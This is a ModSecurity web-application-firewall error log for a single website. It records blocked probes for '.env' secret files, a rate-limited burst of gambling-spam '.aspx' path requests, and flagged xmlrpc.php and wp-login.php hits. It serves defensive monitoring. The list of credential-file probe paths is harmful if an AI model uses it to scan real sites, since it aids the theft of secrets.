[Sun Apr 19 10:44:31.361992 2026] [:error] [pid 47886:tid 47901] [client 34.83.30.45:38756] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aeRBj0Se8yiyuPrD7yMm7wAAAM0"]
[Sun Apr 19 10:44:46.760601 2026] [:error] [pid 15694:tid 15741] [client 34.83.30.45:36936] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aeRBnrimB-jol1fwqArU9wAAAY8"]
[Sun Apr 19 10:44:51.517427 2026] [:error] [pid 47775:tid 47867] [client 34.83.30.45:36952] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aeRBo7mztjlk9tsmoey1owAAAJg"]
[Sun Apr 19 10:44:55.496985 2026] [:error] [pid 47772:tid 47789] [client 34.83.30.45:54454] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/.env"] [unique_id "aeRBp4c0L16cb4smAz8NBAAAAAA"]
[Sun Apr 19 10:45:01.643845 2026] [:error] [pid 47775:tid 47865] [client 34.83.30.45:54466] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aeRBrbmztjlk9tsmoey1rgAAAJY"]
[Sun Apr 19 10:45:07.068537 2026] [:error] [pid 15764:tid 15842] [client 34.83.30.45:60442] [client 34.83.30.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.env"] [unique_id "aeRBs2LL_sqdSHoVp-Q4fwAAAlA"]
[Sun Apr 19 11:01:07.225846 2026] [:error] [pid 47772:tid 47803] [client 138.197.129.229:56414] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRFc4c0L16cb4smAz8QqgAAAA4"]
[Sun Apr 19 11:23:59.834936 2026] [:error] [pid 15765:tid 15865] [client 194.164.173.215:33972] [client 194.164.173.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.173.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRKz_Rqinw-W5EwQ763QAAAAow"]
[Sun Apr 19 11:25:49.148104 2026] [:error] [pid 15764:tid 15845] [client 167.99.153.99:57948] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRLPWLL_sqdSHoVp-RJAAAAAlM"]
[Sun Apr 19 11:56:40.306218 2026] [:error] [pid 15765:tid 15863] [client 51.83.8.179:50918] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeRSePRqinw-W5EwQ768EgAAAoo"]
[Sun Apr 19 11:56:42.249321 2026] [:error] [pid 47772:tid 47812] [client 51.83.8.179:35718] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeRSeoc0L16cb4smAz8lBwAAABc"]
[Sun Apr 19 11:56:44.264614 2026] [:error] [pid 47772:tid 47810] [client 51.83.8.179:35720] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeRSfIc0L16cb4smAz8lEwAAABU"]
[Sun Apr 19 11:56:46.276190 2026] [:error] [pid 47775:tid 47866] [client 51.83.8.179:35722] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeRSfrmztjlk9tsmoezDHQAAAJc"]
[Sun Apr 19 11:56:48.282467 2026] [:error] [pid 15763:tid 15798] [client 51.83.8.179:35736] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeRSgLMXv1Y1THOoxaB-BgAAAgI"]
[Sun Apr 19 11:56:50.293614 2026] [:error] [pid 47775:tid 47854] [client 51.83.8.179:43526] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeRSgrmztjlk9tsmoezDKAAAAIs"]
[Sun Apr 19 11:56:52.290962 2026] [:error] [pid 47775:tid 47859] [client 51.83.8.179:43540] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeRShLmztjlk9tsmoezDLAAAAJA"]
[Sun Apr 19 11:56:54.280764 2026] [:error] [pid 15694:tid 15744] [client 51.83.8.179:43552] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeRShrimB-jol1fwqArb2gAAAZI"]
[Sun Apr 19 11:56:56.288422 2026] [:error] [pid 15760:tid 15779] [client 51.83.8.179:43566] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeRSiPSdD_XHQMJ_IStEFQAAAcs"]
[Sun Apr 19 11:56:58.276828 2026] [:error] [pid 15694:tid 15735] [client 51.83.8.179:43576] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeRSirimB-jol1fwqArb3AAAAYk"]
[Sun Apr 19 11:57:00.277148 2026] [:error] [pid 15693:tid 15704] [client 51.83.8.179:60012] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeRSjMNMD-ccazQlTskxfQAAAUg"]
[Sun Apr 19 11:57:02.280707 2026] [:error] [pid 47773:tid 47839] [client 51.83.8.179:60016] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeRSjuiBHdnCJDuPq9DfSAAAAFc"]
[Sun Apr 19 11:57:04.284766 2026] [:error] [pid 47775:tid 47843] [client 51.83.8.179:60022] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeRSkLmztjlk9tsmoezDMwAAAIA"]
[Sun Apr 19 11:57:06.272379 2026] [:error] [pid 15763:tid 15802] [client 51.83.8.179:60026] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeRSkrMXv1Y1THOoxaB-JgAAAgY"]
[Sun Apr 19 11:57:08.274726 2026] [:error] [pid 47773:tid 47837] [client 51.83.8.179:60032] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeRSlOiBHdnCJDuPq9DfSgAAAFU"]
[Sun Apr 19 11:57:10.264307 2026] [:error] [pid 15763:tid 15813] [client 51.83.8.179:57398] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeRSlrMXv1Y1THOoxaB-NQAAAhE"]
[Sun Apr 19 11:57:12.264020 2026] [:error] [pid 15763:tid 15798] [client 51.83.8.179:57402] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aeRSmLMXv1Y1THOoxaB-OQAAAgI"]
[Sun Apr 19 11:57:14.265746 2026] [:error] [pid 47773:tid 47835] [client 51.83.8.179:57416] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aeRSmuiBHdnCJDuPq9DfUQAAAFM"]
[Sun Apr 19 11:57:16.250569 2026] [:error] [pid 15763:tid 15818] [client 51.83.8.179:57420] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeRSnLMXv1Y1THOoxaB-QwAAAhY"]
[Sun Apr 19 11:57:18.251028 2026] [:error] [pid 47772:tid 47798] [client 51.83.8.179:57436] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aeRSnoc0L16cb4smAz8lNgAAAAk"]
[Sun Apr 19 11:57:20.085280 2026] [:error] [pid 15764:tid 15839] [client 51.83.8.179:51070] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aeRSoGLL_sqdSHoVp-RZCQAAAk0"]
[Sun Apr 19 11:57:22.069782 2026] [:error] [pid 47775:tid 47843] [client 51.83.8.179:51084] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aeRSormztjlk9tsmoezDPQAAAIA"]
[Sun Apr 19 11:57:24.077777 2026] [:error] [pid 15764:tid 15851] [client 51.83.8.179:51088] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeRSpGLL_sqdSHoVp-RZFQAAAlg"]
[Sun Apr 19 11:57:26.063402 2026] [:error] [pid 15693:tid 15707] [client 51.83.8.179:51096] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeRSpsNMD-ccazQlTskxggAAAUs"]
[Sun Apr 19 11:57:27.895455 2026] [:error] [pid 15764:tid 15843] [client 51.83.8.179:51104] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aeRSp2LL_sqdSHoVp-RZHQAAAlE"]
[Sun Apr 19 11:57:29.892441 2026] [:error] [pid 15765:tid 15866] [client 51.83.8.179:53492] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeRSqfRqinw-W5EwQ768OgAAAo0"]
[Sun Apr 19 11:57:31.880070 2026] [:error] [pid 47886:tid 47912] [client 51.83.8.179:53504] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aeRSq0Se8yiyuPrD7yMxgwAAANg"]
[Sun Apr 19 11:57:33.880006 2026] [:error] [pid 15764:tid 15826] [client 51.83.8.179:53506] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeRSrWLL_sqdSHoVp-RZJQAAAkA"]
[Sun Apr 19 11:57:35.865470 2026] [:error] [pid 15763:tid 15808] [client 51.83.8.179:53508] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aeRSr7MXv1Y1THOoxaB-UAAAAgw"]
[Sun Apr 19 11:58:10.867565 2026] [:error] [pid 47773:tid 47819] [client 51.83.8.179:53510] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aeRS0uiBHdnCJDuPq9DfnAAAAEM"]
[Sun Apr 19 11:58:12.636796 2026] [:error] [pid 47773:tid 47833] [client 51.83.8.179:46280] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeRS1OiBHdnCJDuPq9DfnQAAAFE"]
[Sun Apr 19 11:58:14.641922 2026] [:error] [pid 15763:tid 15799] [client 51.83.8.179:46290] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeRS1rMXv1Y1THOoxaB-cQAAAgM"]
[Sun Apr 19 11:58:16.630536 2026] [:error] [pid 47773:tid 47818] [client 51.83.8.179:46304] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeRS2OiBHdnCJDuPq9DfoAAAAEI"]
[Sun Apr 19 11:58:18.619833 2026] [:error] [pid 47772:tid 47794] [client 51.83.8.179:46314] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aeRS2oc0L16cb4smAz8lfQAAAAU"]
[Sun Apr 19 11:58:20.610396 2026] [:error] [pid 15763:tid 15810] [client 51.83.8.179:38848] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aeRS3LMXv1Y1THOoxaB-dwAAAg4"]
[Sun Apr 19 11:58:22.442710 2026] [:error] [pid 15765:tid 15870] [client 51.83.8.179:38860] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeRS3vRqinw-W5EwQ768UgAAApE"]
[Sun Apr 19 11:58:24.437379 2026] [:error] [pid 15764:tid 15844] [client 51.83.8.179:38876] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aeRS4GLL_sqdSHoVp-RZYAAAAlI"]
[Sun Apr 19 11:58:26.429413 2026] [:error] [pid 15694:tid 15739] [client 51.83.8.179:38888] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aeRS4rimB-jol1fwqArb8gAAAY0"]
[Sun Apr 19 11:59:43.962468 2026] [:error] [pid 15760:tid 15775] [client 172.245.126.174:48010] [client 172.245.126.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.126.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeRTL_SdD_XHQMJ_IStEWgAAAcc"]
[Sun Apr 19 11:59:46.118577 2026] [:error] [pid 15760:tid 15789] [client 172.245.126.174:48010] [client 172.245.126.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.126.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeRTMvSdD_XHQMJ_IStEWwAAAdU"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 19 12:11:10.399451 2026] [:error] [pid 15764:tid 15837] [client 51.159.214.31:51498] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRV3mLL_sqdSHoVp-RevAAAAks"]
[Sun Apr 19 12:12:58.558495 2026] [:error] [pid 15764:tid 15829] [client 191.181.58.105:22053] [client 191.181.58.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.181.58.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRWSmLL_sqdSHoVp-RfUAAAAkM"]
[Sun Apr 19 12:13:09.706938 2026] [:error] [pid 15763:tid 15804] [client 191.181.58.105:22209] [client 191.181.58.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.181.58.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRWVbMXv1Y1THOoxaCBwgAAAgg"]
[Sun Apr 19 12:13:19.952887 2026] [:error] [pid 15694:tid 15748] [client 191.181.58.105:21509] [client 191.181.58.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.181.58.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRWX7imB-jol1fwqArc-wAAAZY"]
[Sun Apr 19 12:13:41.413298 2026] [:error] [pid 47773:tid 47820] [client 191.181.58.105:21545] [client 191.181.58.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.181.58.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRWdeiBHdnCJDuPq9DiowAAAEQ"]
[Sun Apr 19 12:13:51.245992 2026] [:error] [pid 15763:tid 15806] [client 191.181.58.105:22056] [client 191.181.58.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.181.58.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRWf7MXv1Y1THOoxaCB3gAAAgo"]
[Sun Apr 19 12:22:34.676441 2026] [:error] [pid 15764:tid 15843] [client 20.119.213.163:38792] [client 20.119.213.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.119.213.163, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeRYimLL_sqdSHoVp-RiCQAAAlE"]
